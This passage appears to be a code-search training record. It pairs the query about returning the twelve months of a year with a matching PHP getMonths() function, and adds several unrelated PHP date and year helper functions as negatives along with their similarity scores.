'';\r\n\tfor($i=2017;$i<=2025;$i++)\r\n\t{\r\n\t\t$selectedOpt = ($i == $selected)?'selected':'';\r\n\t\t$options .= '<option value=\"'.$i.'\" '.$selectedOpt.' >'.$i.'</option>';\r\n\t}\r\n\treturn $options;\r\n}", "function get_year()\n {\n $datearray=getdate($this->timestamp);\n return $datearray[\"year\"];\n }", "function getYearList($selected = ''){\n $options = '';\n for($i=2015;$i<=2025;$i++)\n {\n $selectedOpt = ($i == $selected)?'selected':'';\n $options .= '<option value=\"'.$i.'\" '.$selectedOpt.' >'.$i.'</option>';\n }\n return $options;\n}", "public function generateYears($range = true, $startYear = 2015, $endYear = null){\n $years_arr = array();\n \n $currentYear = date('Y'); //string\n $currentMonth = date('m');\n \n if($endYear != null){\n for($i = $endYear; $i >= $startYear; $i--){\n $range ? $years_arr[$i] = $i . '-' . ($i + 1) : $years_arr[$i] = $i;\n }\n } else {\n //show next year if it's May or later\n if($currentMonth >= 5){\n for($i = $currentYear; $i >= $startYear; $i--){\n $range ? $years_arr[$i] = $i . '-' . ($i + 1) : $years_arr[$i] = $i;\n }\n } else {\n for($i = $currentYear - 1; $i >= $startYear; $i--){\n $range ? $years_arr[$i] = $i . '-' . ($i + 1) : $years_arr[$i] = $i;\n }\n }\n }\n \n return $years_arr;\n }", "function getYearAmortizationArray($game_id, $round_number){\r\n\t\t\t$amortization=new Model_DbTable_Games_Evolution_Am_Amortization();\r\n\t\t\t$amortizationArray=array();\r\n\t\t\t$companies=$this->getCompaniesInGame($game_id);\r\n\t\t\tforeach ($companies as $company) {\r\n\t\t\t\t$totalAmount=0;\r\n\t\t\t\t//var_dump($company['id']);die();\r\n\t\t\t\tfor($r_number=1; $r_number<=$round_number; $r_number++){\r\n\t\t\t\t\t$amountCons=$amortization->getConsAmount($game_id, $company['id'], $r_number);\r\n\t\t\t\t\t$termCons=$amortization->getConsTerm($game_id, $company['id'], $r_number);\r\n\t\t\t\t\t$totalAmount+=($amountCons/$termCons);\r\n\t\t\t\t\t$amountExt=$amortization->getExtAmount($game_id, $company['id'], $r_number);\r\n\t\t\t\t\t$termExt=$amortization->getExtTerm($game_id, $company['id'], $r_number);\r\n\t\t\t\t\t$totalAmount+=($amountExt/$termExt);\r\n\t\t\t\t}\r\n\t\t\t\t$amortizationArray[$company['id']]=$totalAmount;\r\n\t\t\t}\r\n\t\t\treturn $amortizationArray;\t\r\n\t\t}", "public function OrderMonth_Year()\n {\n\t $arrMonth=array();\n\t $year=$this->OrderYear();\n\t foreach($year as $a)\n\t {\n\t\t $arr=array();\n\t\t $select= \"SELECT DISTINCT(month(orderDate)) As orderMonth FROM orders \n\t\t \t\t\twhere year(orderDate)=\".$a->getorderYear(). \" order by orderDate\";\n\t\t $result=$this->executeSelect($select);\n\t\t while($row=mysqli_fetch_array($result))\n\t\t {\n\t\t\t $month=new ordersDto();\n\t\t\t $month->setorderMonth($row['orderMonth']);\n\t\t\t $arr[]=$month;\n\t\t }\n\t\t $this->DisConnectDB();\n\t\t $arrMonth[]=$arr;\n\t }\n/*\t\tfor( $i=0; $i<count($arrMonth); $i++)\n\t\t for($j=0; $j<count($arrMonth[$i]); $j++)\n\t\t\t echo $arrMonth[$i][$j]->getorderMonth();\n\t Thử kiểm tra xem có lấy đc các tháng trong các năm hay k -->>Lấy được\n*/\t\t\n\treturn $arrMonth;\n }", "function getYearList($selected = '') {\r\n $options = '';\r\n for ($i = 2017; $i <= 2025; $i++) {\r\n $selectedOpt = ($i == $selected) ? 'selected' : '';\r\n $options .= '<option value=\"' . $i . '\" ' . $selectedOpt . ' >' . $i . '</option>';\r\n }\r\n return $options;\r\n}", "function getYearList($selected = '') {\n $options = '';\n for ($i = 2015; $i <= 2025; $i++) {\n $selectedOpt = ($i == $selected) ? 'selected' : '';\n $options .= '<option value=\"' . $i . '\" ' . $selectedOpt . ' >' . $i . '</option>';\n }\n return $options;\n}", "function getMinYears()\n {\n return 0;\n }", "public function getYear() : string;", "public function getYearListAppTr() \n {\t\t\n $this->db->select('to_char(th_date_from,\\'yyyy\\') as \"CM_YEAR\"');\n $this->db->from(\"ims_hris.training_head\");\n $this->db->where(\"th_internal_external = 'EXTERNAL_AGENCY'\");\n $this->db->group_by(\"th_date_from\");\n $this->db->order_by(\"TO_CHAR(th_date_from,'YYYY') desc\");\n $q = $this->db->get();\n \n return $q->result();\n }", "public function getYear()\n {\n return $this->_getDateValue('Y');\n }", "private function get_year_for_tables() {\n if (empty($this->courseid)) {\n return \\local_ousearch\\year_tables::get_year_for_tables(null);\n } else {\n return \\local_ousearch\\year_tables::get_year_for_tables(get_course($this->courseid));\n }\n }", "public function renderYears(array &$form, $form_state, int $tables, int $current_year): array {\n $rows = ['Year', '1', '2', '3', 'Q1', '4', '5', '6',\n 'Q2', '7', '8', '9', 'Q3', '10', '11', '12', 'Q4', 'YTD',\n ];\n $years = [];\n $num_year = $form_state->getValues();\n if ($num_year == NULL) {\n $form_state->set(\"fieldset_$tables\", 0);\n $num_year = 0;\n }\n elseif ($form_state->get(\"fieldset_$tables\") === NULL) {\n $num_year = 0;\n }\n else {\n $num_year = $form_state->get(\"fieldset_$tables\");\n }\n for ($i = $num_year; $i >= 0; $i--) {\n foreach ($rows as $row) {\n $year_value = $current_year - $i;\n $years = $form['fieldset'][$tables]['table'][$year_value][$row] = [\n '#type' => 'number',\n '#min' => 0,\n '#step' => 0.01,\n ];\n $form['fieldset'][$tables]['table'][$year_value]['Year'] = [\n '#plain_text' => $current_year - $i,\n ];\n }\n }\n return $years;\n }", "function get_years () {\n global $db;\n $query = 'SELECT DISTINCT year FROM CalcBatting\n ORDER BY year ASC';\n $statement = $db->prepare($query);\n $statement->execute();\n $years = $statement->fetchAll();\n $statement->closeCursor();\n return $years;\n}", "public static function validateYear()\n\t{\n\t\treturn [\n\t\t\tnew LengthValidator(null, 255),\n\t\t];\n\t}", "public function getYearListAppTr2() \n {\t\t\n $this->db->select(\"to_char(th_date_from,'yyyy') as cm_year\");\n $this->db->from(\"ims_hris.training_head\");\n $this->db->where(\"th_status = 'APPROVE'\");\n $this->db->where(\"th_internal_external = 'EXTERNAL_AGENCY'\");\n $this->db->group_by(\"TO_CHAR(th_date_from,'YYYY'), th_date_from\");\n $this->db->order_by(\"TO_CHAR(th_date_from,'YYYY') desc\");\n $q = $this->db->get();\n \n return $q->result_case('UPPER');\n }", "public function getCcYears()\n {\n return $this->config->getYears();\n }", "public function getYear(){\n\t\treturn $this->_year;\n\t}", "function getListYear($data,$start=1,$end=2)\n{\n #awal = Start Year\n #akhir = End Year\n $property = $data;\n \n $awal = date('Y')-$start;\n $akhir = date('Y')+$end;\n if($property==''){\n $select = date('Y');\n }\n else{\n $select = $property;\n } \n $i = $awal; \n for($i>=$awal;$i<=$akhir;$i++)\n {\n #cond Selection\n if($i==$select){\n $sta = 'selected';\n }\n else{\n $sta = '';\n } \n echo '<option value=\"'.$i.'\" '.$sta.'>'.$i.'</option>';\n }\n}", "public function getLastYearData() {\n\t\t$dates = getPeriods('LastYear');\n\t\treturn $this->getDataByInterval($dates['startMonth'], $dates['startYear'], $dates['endMonth'], $dates['endYear'], 12);\t\t\n\t}", "public function findYearsByFilter($filter) {\n $filter2 = clone $filter;\n $filter2->year = null;\n $articles = $this->findByFilter($filter2);\n $yearArray = array();\n foreach($articles as $article) {\n $date = $article->getArticleDate();\n $year = $date->format('Y');\n if(!isset($yearArray[$year])) {\n $yearArray[$year] = array('count' => 0);\n }\n if(!isset($yearArray[$year]['value'])) {\n $yearFilter = clone $filter2;\n $yearFilter->year = $year;\n $yearArray[$year]['value'] = intval($year);\n $yearArray[$year]['searchFilter'] = $yearFilter;\n }\n $yearArray[$year]['count']++;\n }\n return $yearArray;\n }", "function getMonthArray()\n{\n\t$arrMonths = array();\n\n\tfor ($i=1; $i<13; $i++)\n\t{\n\t\t$arrMonths[$i] = date('M', mktime(0, 0, 1, $i, 1));\n\t}\n\t\n\treturn $arrMonths;\n}", "function private_messages_years_list( bool $sent_messages = false ) : array\n{\n // Require users to be logged in to run this action\n user_restrict_to_users();\n\n // Fetch the user's id\n $user_id = sanitize(user_get_id(), 'int', 1);\n\n // Fetch the years during which the user got private messages\n if(!$sent_messages)\n $qyears = query(\" SELECT YEAR(FROM_UNIXTIME(users_private_messages.sent_at)) AS 'pm_year'\n FROM users_private_messages\n WHERE users_private_messages.fk_users_recipient = '$user_id'\n GROUP BY YEAR(FROM_UNIXTIME(users_private_messages.sent_at))\n ORDER BY YEAR(FROM_UNIXTIME(users_private_messages.sent_at)) DESC \");\n\n // Or the years during which the user sent private messages\n else\n $qyears = query(\" SELECT YEAR(FROM_UNIXTIME(users_private_messages.sent_at)) AS 'pm_year'\n FROM users_private_messages\n WHERE users_private_messages.fk_users_sender = '$user_id'\n GROUP BY YEAR(FROM_UNIXTIME(users_private_messages.sent_at))\n ORDER BY YEAR(FROM_UNIXTIME(users_private_messages.sent_at)) DESC \");\n\n // Prepare the data\n for($i = 0; $row = mysqli_fetch_array($qyears); $i++)\n $data[$i]['year'] = sanitize_output($row['pm_year']);\n\n // Add the number of rows to the data\n $data['rows'] = $i;\n\n // Return the prepared data\n return $data;\n}", "function getAverageByMonthWithPrevYear($endyear,$startyear)\r\n\t{\r\n if ($startyear > $endyear) return -1;\r\n\r\n $datay=array();\r\n\r\n\t\t$year=$startyear;\r\n\t\twhile($year <= $endyear)\r\n\t\t{\r\n\t\t\t$datay[$year] = $this->getAverageByMonth($year);\r\n\t\t\t$year++;\r\n\t\t}\r\n\r\n\t\t$data = array();\r\n\r\n\t\tfor ($i = 0 ; $i < 12 ; $i++)\r\n\t\t{\r\n\t\t\t$data[$i][]=$datay[$endyear][$i][0];\r\n\t\t\t$year=$startyear;\r\n\t\t\twhile($year <= $endyear)\r\n\t\t\t{\r\n\t\t\t\t$data[$i][]=$datay[$year][$i][1];\r\n\t\t\t\t$year++;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\treturn $data;\r\n\t}", "public function FireStatisticalinYear($date){\n $month_array = array();\n $month = date('Y/m', strtotime($date));\n $month_array[0]['month'] = $month;\n $month_array[0]['count'] = $this->FireStatistical($month);\n for($i = 1; $i < 6; $i++){\n $month = date('Y/m', strtotime($date.' -'.$i.' month'));\n $month_array[$i]['month'] = $month;\n $month_array[$i]['count'] = $this->FireStatistical($month);\n }\n return $month_array;\n }", "public function getMonths()\r\n\t{\r\n \t$months = array();\r\n\t\t\r\n\t\tfor($i = 1; $i <= 12; $i++)\r\n\t\t{\r\n\t\t\t$label = ($i < 10) ? (\"0\" . $i) : $i;\r\n\t\t\t\r\n\t\t\t$months[] = array(\"num\" => $i, \"label\" => $this->htmlEscape($label));\r\n\t\t}\r\n\t\t\r\n\t\treturn $months;\r\n\t}", "function getYear()\r\n {\r\n return $this->ano;\r\n }", "public function getYear() {\n return $this->_year;\n }", "public static function yearsMonthsPassed ( $date1, $date2 ) \r\n {\r\n \r\n \t$d1 = new DateTime( $date1 );\r\n \t$d2 = new DateTime( $date2 );\r\n \r\n \t$diff = $d2->diff( $d1 );\r\n \r\n \t// Return array years and months\r\n \treturn array ( $diff->y, $diff->m );\r\n }", "public function getYear()\n {\n return $this->year;\n }", "public function getYear()\n {\n return $this->year;\n }", "protected function getYearRange($date = null)\n {\n $date = !is_object($date) ? new \\DateTime('TODAY') : $date;\n $startAt = \\DateTime::createFromFormat('Y-m-d H:i:s', date(\"Y-m-d H:i:s\", mktime(0, 0, 0, 1, 1, $date->format('Y'))));\n $endAt = clone $startAt;\n $endAt->modify('+1 year');\n\n return array($startAt, $endAt);\n }", "public function getMinYearBuilt();", "function years($lowfirst=NO)\n\t{\n\t\tglobal $db;\n\n\t\t$this->error = new error('Year');\n\n\t\t$this->years = array();\n\n\t\t$curyear = date('Y');\n\t\t$hascuryear = NO;\n\t\t$unknown = array();\n\n\t\t$sql = \"SELECT * FROM years WHERE yer_year<=\".(date('Y')+1).\" ORDER BY yer_year \".($lowfirst==YES?'ASC':'DESC');\n\t\t//#echo $sql;\n\t\t$result = mysql_query($sql,$db);\n\t\t//#print_r ($result);\n\t\t$this->error->mysql(__FILE__,__LINE__);\n\t\twhile ($row = mysql_fetch_assoc($result))\n\t\t{\n\t\t\tif ($row['yer_year'] != 'Unknown')\n\t\t\t{\n\t\t\t\t$this->years[] = $row;\n\n\t\t\t\t$year = $row['yer_year'];\n\t\t\t\tif ($year == $curyear) { $hascuryear = YES; }\n\t\t\t}\n\t\t\telse { $unknown = array($row); }\n\t\t}\n\t\t$this->years = array_merge($this->years,$unknown);\n\n\t\tif ($hascuryear == NO)\n\t\t{\n\t\t\t// insert the current year\n\t\t\t$sql = \"INSERT INTO year VALUES (NULL,$curyear)\";\n\t\t\tmysql_query($sql,$db);\n\t\t\t$this->error->mysql(__FILE__,__LINE__);\n\t\t\t$curarr = array('yer_yearID'=>mysql_insert_id(),'yer_year'=>$curyear);\n\t\t\tif ($lowfirst == YES) { $this->years[] = $curarr; }\n\t\t\telse { $this->years = array_merge(array($curarr),$this->years); }\n\t\t}\n\t}", "public function getYearListTrCost() \n {\t\t\n $this->db->select(\"to_char(th_date_from,'yyyy') as cm_year\");\n $this->db->from(\"ims_hris.training_head\");\n $this->db->where(\"th_status = 'APPROVE'\");\n $this->db->where(\"th_internal_external = 'EXTERNAL_AGENCY'\");\n $this->db->group_by(\"TO_CHAR(th_date_from,'YYYY'), th_date_from \");\n $this->db->order_by(\"TO_CHAR(th_date_from,'YYYY') desc\");\n $q = $this->db->get();\n \n return $q->result_case('UPPER');\n }", "public function getYear()\n\t{\n\t\treturn $this->year;\n\t}" ]
[ "0.8103319", "0.80832255", "0.8013607", "0.7778887", "0.76004446", "0.7360705", "0.7329652", "0.73059285", "0.7190405", "0.7169601", "0.7168234", "0.71594906", "0.7107368", "0.709191", "0.7080359", "0.7069041", "0.7031295", "0.69915473", "0.68300533", "0.67744756", "0.6742444", "0.6695904", "0.6675684", "0.6668195", "0.66014475", "0.65939486", "0.65923876", "0.65461487", "0.6538447", "0.6534729", "0.6524132", "0.65094006", "0.6465619", "0.64533633", "0.6448524", "0.6447", "0.638239", "0.6361814", "0.63447", "0.6330275", "0.62892544", "0.62706494", "0.62483215", "0.62388337", "0.6236919", "0.62299085", "0.6227536", "0.6220421", "0.62120074", "0.6198977", "0.6188119", "0.6181988", "0.618127", "0.61797804", "0.6177872", "0.615244", "0.6151918", "0.6149896", "0.6142566", "0.6132961", "0.6113924", "0.60835445", "0.6081303", "0.60787356", "0.60747945", "0.60587496", "0.605745", "0.6050081", "0.6040076", "0.6038898", "0.60244614", "0.60082835", "0.6005869", "0.6001578", "0.59945405", "0.59867847", "0.5981022", "0.59723765", "0.5958896", "0.5955997", "0.5954404", "0.591622", "0.5899695", "0.58990246", "0.58794206", "0.58751875", "0.5872846", "0.5867283", "0.585505", "0.58531404", "0.58507174", "0.5848196", "0.58454883", "0.5837391", "0.5837391", "0.5822236", "0.5814442", "0.5811642", "0.58097154", "0.5805146" ]
0.7862183
3
This function will return the months in a year i.e. 12 return month array
public static function getMonths() { $month=array(1,2,3,4,5,6,7,8,9,10,11,12); return $month; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function getMonthArray()\n{\n\t$arrMonths = array();\n\n\tfor ($i=1; $i<13; $i++)\n\t{\n\t\t$arrMonths[$i] = date('M', mktime(0, 0, 1, $i, 1));\n\t}\n\t\n\treturn $arrMonths;\n}", "protected function getMonthsArray()\n\t{\n\t\t$ma = array_pad([], 13, null);\n\t\tunset($ma[0]);\n\t\tforeach ($this->_attr[self::MONTH_OF_YEAR] as $m) {\n\t\t\tif (is_numeric($m['moy'])) {\n\t\t\t\tfor ($i = $m['moy']; $i <= $m['end'] && $i <= 12; $i += $m['period']) {\n\t\t\t\t\t$ma[$i] = 1;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn $ma;\n\t}", "public function Months() {\r\n// $months = array(1 => 'January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December');\r\n $months = array(1 => 'Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sept', 'Oct', 'Nov', 'Dec');\r\n return $months;\r\n }", "public function getMonths()\r\n\t{\r\n \t$months = array();\r\n\t\t\r\n\t\tfor($i = 1; $i <= 12; $i++)\r\n\t\t{\r\n\t\t\t$label = ($i < 10) ? (\"0\" . $i) : $i;\r\n\t\t\t\r\n\t\t\t$months[] = array(\"num\" => $i, \"label\" => $this->htmlEscape($label));\r\n\t\t}\r\n\t\t\r\n\t\treturn $months;\r\n\t}", "public static function getMonthDates()\n {\n $current_year = date('Y-01-01 00:00:00');\n $month_names = self::getMonthNames();\n $months = array();\n for ($i=0; $i<12; $i++) {\n $months[$i] = array( 'name'=>$month_names[$i],'date'=>date('Y-m-d 00:00:00',strtotime(\"$current_year + $i months\")));\n }\n\n return $months;\n }", "public function getMonths() {\r\n\t\t$month = array();\r\n\r\n\t\t$month[1] = array('id' => 1, 'name' => 'January');\r\n\t\t$month[2] = array('id' => 2, 'name' => 'February');\r\n\t\t$month[3] = array('id' => 3, 'name' => 'March');\r\n\t\t$month[4] = array('id' => 4, 'name' => 'April');\r\n\t\t$month[5] = array('id' => 5, 'name' => 'May');\r\n\t\t$month[6] = array('id' => 6, 'name' => 'June');\r\n\t\t$month[7] = array('id' => 7, 'name' => 'July');\r\n\t\t$month[8] = array('id' => 8, 'name' => 'August');\r\n\t\t$month[9] = array('id' => 9, 'name' => 'September');\r\n\t\t$month[10] = array('id' => 10, 'name' => 'October');\r\n\t\t$month[11] = array('id' => 11, 'name' => 'November');\r\n\t\t$month[12] = array('id' => 12, 'name' => 'December');\r\n\r\n\t\treturn $month; //array\r\n\t}", "public function getMonths();", "public function OrderMonth_Year()\n {\n\t $arrMonth=array();\n\t $year=$this->OrderYear();\n\t foreach($year as $a)\n\t {\n\t\t $arr=array();\n\t\t $select= \"SELECT DISTINCT(month(orderDate)) As orderMonth FROM orders \n\t\t \t\t\twhere year(orderDate)=\".$a->getorderYear(). \" order by orderDate\";\n\t\t $result=$this->executeSelect($select);\n\t\t while($row=mysqli_fetch_array($result))\n\t\t {\n\t\t\t $month=new ordersDto();\n\t\t\t $month->setorderMonth($row['orderMonth']);\n\t\t\t $arr[]=$month;\n\t\t }\n\t\t $this->DisConnectDB();\n\t\t $arrMonth[]=$arr;\n\t }\n/*\t\tfor( $i=0; $i<count($arrMonth); $i++)\n\t\t for($j=0; $j<count($arrMonth[$i]); $j++)\n\t\t\t echo $arrMonth[$i][$j]->getorderMonth();\n\t Thử kiểm tra xem có lấy đc các tháng trong các năm hay k -->>Lấy được\n*/\t\t\n\treturn $arrMonth;\n }", "protected function getMonthValues()\r\n {\r\n\t $month = array();\r\n\t $month[1] = 'January';\r\n\t $month[2] = 'February';\r\n\t $month[3] = 'March';\r\n\t $month[4] = 'April';\r\n\t $month[5] = 'May';\r\n\t $month[6] = 'June';\r\n\t $month[7] = 'July';\r\n\t $month[8] = 'August';\r\n\t $month[9] = 'September';\r\n\t $month[10] = 'October';\r\n\t $month[11] = 'November';\r\n\t $month[12] = 'December';\t \r\n\t \r\n\t return $month;\r\n }", "public static function getMonths()\n {\n return [ \n CarbonInterface::JANUARY => 'January', \n CarbonInterface::FEBRUARY => 'February', \n CarbonInterface::MARCH => 'March', \n CarbonInterface::APRIL => 'April', \n CarbonInterface::MAY => 'May', \n CarbonInterface::JUNE => 'June', \n CarbonInterface::JULY => 'July', \n CarbonInterface::AUGUST => 'August', \n CarbonInterface::SEPTEMBER => 'September', \n CarbonInterface::OCTOBER => 'October', \n CarbonInterface::NOVEMBER => 'November', \n CarbonInterface::DECEMBER => 'December', \n ];\n }", "public function get_months($months) {\n $cnt = count($months);\n $month_data = array();\n for ($a12 = 0; $a12 < $cnt; $a12++) {\n $month = $months[$a12];\n $month_data[] = $months[$a12];\n $a12 = ($a12 * 1 + 3);\n }\n return $month_data;\n }", "private function getEditableMonths($startYear = 2013, $startMonth = 1)\n {\n $months = array();\n $start = Carbon::create($startYear, $startMonth, 1);\n $end = Carbon::now()->addMonth();\n\n while($end->gte($start))\n {\n array_push($months, $end->copy());\n $end->subMonth();\n }\n\n return $months;\n\n }", "public function getTwelveMonth() {\n $result = array();\n $cur = strtotime(date('Y-m-01', time()));\n for ($i = 0; $i <= 11; $i++) {\n $result[$i] = date('M', $cur);\n $cur = strtotime('next month', $cur);\n }\n\n return $result;\n }", "public static function getLatestYearMonths()\n\t{\n\t\t$i = 0;\n\t\twhile ( $i <= 12 )\n\t\t{\n\t\t\t$dates[] = date( 'Y-m-d', strtotime( ' '. date( 'F Y', strtotime( '-' . $i . ' month' ) ) ) );\n\t\t\t$i++;\n\t\t}\n\n\t\treturn $dates;\n\t}", "function GetAllMonthsTillDate($date,$year)\n\t{\n\t\t$date1=$date;\n\t\t$yr1=$year;\n\t\t$yr2='2014';\n\t\t$date2=date('Y-m-d');\n\t\t$time1 = strtotime($date1);\n\t\t$time2 = strtotime($date2);\n\t\t$my = date('mY', $time2);\n\n\t\t$months = array(date($yr1.'-m-d', $time1));\n\n\t\twhile($time1 < $time2) {\n\t\t\t$time1 = strtotime(date('Y-m-d', $time1).' +1 month');\n\t\t\tif(date('mY', $time1) != $my && ($time1 < $time2)){\n\t\t\t\tif(count($months)>=12)\n\t\t\t\t{$yr1=$yr2;}\n\t\t\t\t\n\t\t\t\t$months[] = date($yr1.'-m-d', $time1);\n\n\t\t\t}\n\t\t}\n\n\t\treturn $months;\n\t\t\t\n\t}", "function getMonthsInYear($y=null)\n {\n return 12;\n }", "public function getMonths()\n {\n return [\n 1 => 'Januari',\n 2 => 'Februari',\n 3 => 'Maart',\n 4 => 'April',\n 5 => 'Mei',\n 6 => 'Juni',\n 7 => 'Juli',\n 8 => 'Augustus',\n 9 => 'September',\n 10 => 'Oktober',\n 11 => 'November',\n 12 => 'December'\n ];\n }", "private function setMonthNames()\n\t{\n\t\t$range = range(1,12);\n\t\t$return = array();\n\t\tforeach($range AS $key => $monthNum)\n\t\t{\n\t\t $fmt = datefmt_create ($this->locale, null, null, null, IntlDateFormatter::GREGORIAN, 'MMMM');\n\t\t\t$return[$monthNum] = datefmt_format( $fmt , mktime(12,0,0,$monthNum,1,date('Y')));\n\t\t}\n\n\t\treturn $return;\n\t}", "function get_year_dates($year = null, $start_month = 12, $end_month = 11)\n{\n if (!isset($year)) {\n $year = date('Y');\n }\n $start_date = $year - 1 . '-' . $start_month . '-01';\n $end_date = $year . '-' . $end_month . '-30';\n return [\n 'start_date' => $start_date,\n 'end_date' => $end_date\n ];\n}", "public static function getMonthYear() {\n $monthYear = [];\n $allMonth = config('content_month_mapping.website_map');\n $currDate = date('Y-m-d');\n $aCurrDate = explode(\"-\", $currDate);\n $monthYear['future'][$aCurrDate[0].'|'.$aCurrDate[1]] = $allMonth[$aCurrDate[1]];\n for ($i = 1; $i < config('content_month_mapping.future_months'); $i++) {\n $futureDate = date(\"Y-m-d\", strtotime(date('Y-m-01') . \" +$i months\"));\n $date = explode(\"-\", $futureDate);\n $monthYear['future'][$date[0].'|'.$date[1]] = $allMonth[$date[1]];\n }\n for ($i = 1; $i <= config('content_month_mapping.past_months'); $i++) {\n $pastdate = date(\"Y-m-d\", strtotime(date('Y-m-d') . \" -$i months\"));\n $date = explode(\"-\", $pastdate);\n $monthYear['past'][$date[0].'|'.$date[1]] = $allMonth[$date[1]];\n }\n return $monthYear;\n }", "public static function get_carbon__month(int $year, int $month) {\n if ($month < 1 || $year < 1000) {\n return [];\n }\n\n $month = Carbon::createFromDate($year, $month, 1);\n $days_in_month = $month->daysInMonth;\n $month_array = [];\n\n for ($i = 0; $i < $days_in_month; $i++) {\n // Array append.\n $month_array[] = $month->copy();\n $month->addDay();\n }\n\n return $month_array;\n }", "public function listMonths()\n {\n return $this->ozioma->month->list();\n }", "function monthOptions(){\n\t\t$months = range('01', '12');\n\t\tforeach ($months as $key => $month) {\n\t\t\t$months[$key] = str_pad($month, 2, '0', STR_PAD_LEFT);\n\t\t}\n\t\treturn array_combine($months, $months);\n\t}", "public static function getMonths($num_month = null){\n $monthsArray = array(\n 1 => 'Enero'\n , 2 => 'Febrero'\n , 3 => 'Marzo'\n , 4 => 'Abril'\n , 5 => 'Mayo'\n , 6 => 'Junio'\n , 7 => 'Julio'\n , 8 => 'Agosto'\n , 9 => 'Septiembre'\n , 10 => 'Octubre'\n , 11 => 'Noviembre'\n , 12 => 'Diciembre');\n \n if($num_month == null)\n return $monthsArray;\n else\n return $monthsArray[$num_month];\n }", "public function getCcMonths()\n {\n $months = $this->getData('cc_months');\n if (is_null($months)) {\n $months[0] = $this->__('Month');\n $months = array_merge($months, $this->_getConfig()->getMonths());\n $this->setData('cc_months', $months);\n }\n return $months;\n }", "public function getMonth() \n {\n $month = array('Januar', 'Februar', 'Mart', 'April', 'Maj', 'Juni', 'Juli', 'Avgust', 'Septembar', 'Octobar', 'Novembar', 'Decembar');\n \n return $month;\n }", "public function getCcMonths()\r\n {\r\n $months = $this->getData('cc_months');\r\n if (is_null($months)) {\r\n $months[0] = $this->__('Month');\r\n $months = array_merge($months, Mage::getSingleton('payment/config')->getMonths());\r\n $this->setData('cc_months', $months);\r\n }\r\n return $months;\r\n }", "public function getCcMonths()\n {\n $months = $this->getData('cc_months');\n if ($months === null) {\n $months[0] = $this->__('Month');\n $months = array_merge($months, $this->_getConfig()->getMonths());\n $this->setData('cc_months', $months);\n }\n\n return $months;\n }", "protected function getMonthOptions()\n {\n $options = [];\n $currentMonth = date('n');\n $currentYear = date('Y');\n $rangeFormat = (null !== $this->range_format) ? $this->range_format : 'M Y';\n\n if ((null !== $this->range) && (strpos($this->range, '-') !== false)) {\n $rangeAry = explode('-', $this->range);\n if (($rangeAry[0] == 'SOY') && ($rangeAry[1] == 'EOY')) {\n $currentMonth = 1;\n $range = 12;\n } else if (is_numeric($rangeAry[0]) && is_numeric($rangeAry[1])) {\n if ($rangeAry[0] > 13) {\n $rangeAry[0] = 13;\n }\n if ($rangeAry[1] >= 12) {\n $rangeAry[1] = 13;\n }\n $range = $rangeAry[0] + $rangeAry[1];\n if (($currentMonth - $rangeAry[0]) < 0) {\n $currentMonth = 12 + ($currentMonth - $rangeAry[0]);\n $currentYear--;\n } else {\n $currentMonth = $currentMonth - $rangeAry[0];\n }\n } else {\n $range = 12;\n }\n } else {\n switch ($this->range) {\n case (null):\n $range = 12;\n break;\n case ('EOY'):\n $range = 12 - date('m') + 1;\n break;\n default:\n $range = $this->range;\n }\n }\n\n for ($i = 0; $i < $range; $i++) {\n $value = $currentYear . '-' . (($currentMonth < 10) ? '0' . $currentMonth : $currentMonth);\n $options[$value] = date($rangeFormat, strtotime($value));\n if ($currentMonth == 12) {\n $currentMonth = 1;\n $currentYear++;\n } else {\n $currentMonth++;\n }\n }\n\n return $options;\n }", "public function getCcMonths() {\n $data = Mage::app()->getLocale()->getTranslationList('month');\n foreach ($data as $key => $value) {\n $monthNum = ($key < 10) ? '0' . $key : $key;\n $data[$key] = $monthNum . ' - ' . $value;\n }\n\n $months = $this->getData('cc_months');\n if (is_null($months)) {\n $months[0] = $this->__('Month');\n $months = array_merge($months, $data);\n $this->setData('cc_months', $months);\n }\n\n\n return $months;\n }", "function _makeMonth($date){\n // YYYY-MM and return an array of all the days\n // in the the month. The array that is returned\n // is in the same formate which is returned by\n // 'makeWeek' function\n $start = Carbon::parse($date)->startOfMonth();\n $end = Carbon::parse($date)->endOfMonth();\n $month = [];\n while ($start->lte($end)) {\n $carbon = $start;\n $month[] = $this->_makeDay($carbon);\n $start->addDay();\n }\n return $month;\n }", "public static function getMonths($from, $to){\n\t\t$today = \"'\".date(\"Y-m-d\").\"'\";\n\t\t$year = date('Y');\n\t\t$tests = Test::select('time_created')->distinct();\n\n\t\tif(strtotime($from)===strtotime($today)){\n\t\t\t$tests = $tests->where('time_created', 'LIKE', $year.'%');\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$toPlusOne = date_add(new DateTime($to), date_interval_create_from_date_string('1 day'));\n\t\t\t$tests = $tests->whereBetween('time_created', array($from, $toPlusOne));\n\t\t}\n\n\t\t$allDates = $tests->lists('time_created');\n\t\tasort($allDates);\n\t\t$yearMonth = function($value){return strtotime(substr($value, 0, 7));};\n\t\t$allDates = array_map($yearMonth, $allDates);\n\t\t$allMonths = array_unique($allDates);\n\t\t$dates = array();\n\n\t\tforeach ($allMonths as $date) {\n\t\t\t$dateInfo = getdate($date);\n\t\t\t$dates[] = array('months' => $dateInfo['mon'], 'label' => substr($dateInfo['month'], 0, 3),\n\t\t\t\t'annum' => $dateInfo['year']);\n\t\t}\n\n\t\treturn json_encode($dates);\n\t}", "function getDays_ym($month, $year){\n // Start of Month\n $start = new DateTime(\"{$year}-{$month}-01\");\n $month = $start->format('F');\n\n // Prepare results array\n $results = array();\n\n // While same month\n while($start->format('F') == $month){\n // Add to array\n $day = $start->format('D');\n $sort_date = $start->format('j');\n $date = $start->format('Y-m-d');\n $results[$date] = ['day' => $day,'sort_date' => $sort_date,'date' => $date];\n\n // Next Day\n $start->add(new DateInterval(\"P1D\"));\n }\n // Return results\n return $results;\n}", "protected function get_month_names() {\n\t\tglobal $wp_locale;\n\n\t\t$month_names = [];\n\n\t\tfor ( $i = 1; $i < 13; $i = $i + 1 ) {\n\t\t\t$month_num = zeroise( $i, 2 );\n\t\t\t$month_text = $wp_locale->get_month_abbrev( $wp_locale->get_month( $i ) );\n\t\t\t$month_names[] = array(\n\t\t\t\t'value' => $month_num,\n\t\t\t\t'text' => $month_text,\n\t\t\t\t'label' => sprintf( _x( 